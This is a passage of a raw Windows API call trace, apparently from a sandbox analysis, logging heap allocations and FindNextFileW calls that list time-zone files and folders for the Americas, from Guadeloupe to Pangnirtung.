RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be548 [0088.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323d00 [0088.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.554] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadeloupe", cAlternateFileName="")) returned 1 [0088.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be568 [0088.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323d88 [0088.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guatemala", cAlternateFileName="")) returned 1 [0088.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be588 [0088.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323e10 [0088.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guayaquil", cAlternateFileName="")) returned 1 [0088.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be5a8 [0088.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323e98 [0088.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guyana", cAlternateFileName="")) returned 1 [0088.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="Halifax", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Havana", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hermosillo", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indiana", cAlternateFileName="")) returned 1 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inuvik", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iqaluit", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jamaica", cAlternateFileName="")) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juneau", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kentucky", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="La_Paz", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lima", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Los_Angeles", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maceio", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managua", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manaus", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Martinique", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Matamoros", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mazatlan", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Menominee", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Merida", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metlakatla", cAlternateFileName="")) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mexico_City", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Miquelon", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moncton", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monterrey", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montevideo", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montreal", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montserrat", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nassau", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_York", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nipigon", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nome", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noronha", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="North_Dakota", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ojinaga", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panama", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pangnirtung", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, 